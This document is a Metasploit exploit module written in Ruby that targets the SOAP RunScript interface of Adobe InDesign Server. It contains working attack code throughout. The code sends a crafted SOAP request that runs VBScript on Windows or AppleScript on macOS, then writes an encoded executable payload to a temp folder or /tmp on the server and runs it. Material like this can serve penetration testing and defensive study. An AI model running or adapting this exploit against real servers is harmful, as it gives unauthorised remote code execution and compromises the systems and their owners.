Adobe IndesignServer 5.5 – SOAP Server Arbitrary Script Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution', 'Description' => %q{ This module abuses the "RunScript" procedure provided by the SOAP interface of Adobe InDesign Server, to execute abritary vbscript (Windows) or applescript(OSX). The exploit drops the payload on the server and must be removed manually. }, 'Author' => [ 'h0ng10', # Vulnerability discovery / Metasploit module 'juan vazquez' # MacOSX target ], 'License' => MSF_LICENSE, 'Platform' => ['win', 'osx'], 'Privileged' => false, 'DisclosureDate' => 'Nov 11 2012', 'References' => [ [ 'OSVDB', '87548'], [ 'URL', 'http://secunia.com/advisories/48572/' ] ], 'Targets' => [ [ 'Indesign CS6 Server / Windows (64 bits)', { 'Arch' => ARCH_X86_64, 'Platform' => 'win' } ], [ 'Indesign CS6 Server / Mac OS X Snow Leopard 64 bits', { 'Arch' => ARCH_X86_64, 'Platform' => 'osx' } ] ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(12345) ], self.class ) end def send_soap_request(script_code, script_type) script_code.gsub!(/&/, '&') soap_xml = %Q{ <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:IDSP="http://ns.adobe.com/InDesign/soap/"> <SOAP-ENV:Body> <IDSP:RunScript> <IDSP:runScriptParameters> <IDSP:scriptText>#{script_code}</IDSP:scriptText> <IDSP:scriptLanguage>#{script_type}</IDSP:scriptLanguage> </IDSP:runScriptParameters> </IDSP:RunScript> </SOAP-ENV:Body> </SOAP-ENV:Envelope> } res = send_request_cgi({ 'uri' => '/', 'method' => 'POST', 'content-type' => 'application/x-www-form-urlencoded', 'data' => soap_xml, }, 5) end def check() # Use a very simple javascript check_var = rand_text_numeric(10) checkscript = 'returnValue = "' + check_var + '"' res = send_soap_request(checkscript, "javascript") return Exploit::CheckCode::Vulnerable if res.body.include?('<data xsi:type="xsd:string">' + check_var + '</data>') return Exploit::CheckCode::Safe end def exploit if target.name =~ /Windows/ print_status("Creating payload vbs script") encoded_payload = generate_payload_exe().unpack("H*").join exe_file = Rex::Text.rand_text_alpha_upper(8) + ".exe" wsf = Rex::Text.rand_text_alpha(8) payload_var = Rex::Text.rand_text_alpha(8) exe_name_var = Rex::Text.rand_text_alpha(8) file_var = Rex::Text.rand_text_alpha(8) byte_var = Rex::Text.rand_text_alpha(8) shell_var = Rex::Text.rand_text_alpha(8) # This one creates a smaller vbs payload (without deletion) vbs = %Q{ Set #{wsf} = CreateObject("Scripting.FileSystemObject") #{payload_var} = "#{encoded_payload}" #{exe_name_var} = #{wsf}.GetSpecialFolder(2) + "\\#{exe_file}" Set #{file_var} = #{wsf}.opentextfile(#{exe_name_var}, 2, TRUE) For x = 1 To Len(#{payload_var})-3 Step 2 #{byte_var} = Chr(38) & "H" & Mid(#{payload_var}, x, 2) #{file_var}.write Chr(#{byte_var}) Next #{file_var}.write Chr(#{byte_var}) #{file_var}.close Set #{shell_var} = CreateObject("Wscript.Shell") #{shell_var}.Run Chr(34) & #{exe_name_var} & Chr(34), 0, False Set #{shell_var} = Nothing returnValue = #{exe_name_var} } # vbs = Msf::Util::EXE.to_exe_vbs(exe) print_status("Sending SOAP request") res = send_soap_request(vbs, "visual basic") if res != nil and res.body != nil then file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0] print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually" end elsif target.name =~ /Mac OS X/ print_status("Creating payload apple script") exe_payload = generate_payload_exe b64_exe_payload = Rex::Text.encode_base64(exe_payload) b64_payload_name = rand_text_alpha(rand(5) + 5) payload_name = rand_text_alpha(rand(5) + 5) apple_script = %Q{ set fp to open for access POSIX file "/tmp/#{b64_payload_name}.txt" with write permission write "begin-base64 644 #{payload_name}\n#{b64_exe_payload}\n====\n" to fp close access fp do shell script "uudecode -o /tmp/#{payload_name} /tmp/#{b64_payload_name}.txt" do shell script "rm /tmp/#{b64_payload_name}.txt" do shell script "chmod +x /tmp/#{payload_name}" do shell script "/tmp/#{payload_name}" set returnValue to "/tmp/#{payload_name}" } print_status("Sending SOAP request") res = send_soap_request(apple_script, "applescript") if res != nil and res.body != nil then file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0] file_to_delete = "/tmp/#{payload_name}" if file_to_delete.nil? or file_to_delete.empty? print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually" elsif not res print_status "No response, it's expected" print_warning "Payload deployed to /tmp/#{payload_name}, please remove manually" end end end end |